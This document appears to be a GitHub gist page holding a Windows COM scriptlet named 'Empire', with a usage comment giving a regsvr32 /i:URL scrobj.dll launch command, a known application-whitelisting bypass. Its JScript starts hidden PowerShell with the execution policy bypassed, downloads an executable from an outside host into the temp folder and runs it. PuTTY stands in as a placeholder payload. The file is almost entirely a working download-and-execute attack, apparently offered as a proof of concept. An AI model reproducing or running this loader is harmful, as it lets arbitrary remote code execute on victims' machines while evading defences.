Created
May 25, 2017 23:27
-
-
Save Elm0D/57e81ab8bc3026482f86eb78c5d68338 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?XML version="1.0"?> | |
<scriptlet> | |
<registration | |
description="Empire" | |
progid="Empire" | |
version="1.00" | |
classid="{00001111-0000-0000-0000-0000FEEDACDC}" | |
> | |
<!-- USAGE --> | |
<!-- regsvr32 /s /n /u /i:https://gist.githubusercontent.com/Elm0D/3f043115622738f6b70b76f419d2b45f/raw/89d8d68c512e0103a2cee22b9e4c642785f2ef24/STC_MsgBox.sct scrobj.dll --> | |
<!-- Credits Of Concept - Casey Smith --> | |
<script language="JScript"> | |
<![CDATA[ | |
var Wsh = new ActiveXObject("WScript.Shell"); | |
var c = "$down = New-Object System.Net.WebClient;$url = 'https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe';$file = '%TMP%\\test.exe';$down.DownloadFile($url,$file);$exec = New-Object -com shell.application;$exec.shellexecute($file);exit;"; | |
var ps = 'powershell.exe -ExecutionPolicy Bypass -windowstyle hidden -noexit -command '; | |
Wsh.Exec(ps + c); | |
]]> | |
</script> | |
</registration> | |
</scriptlet> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment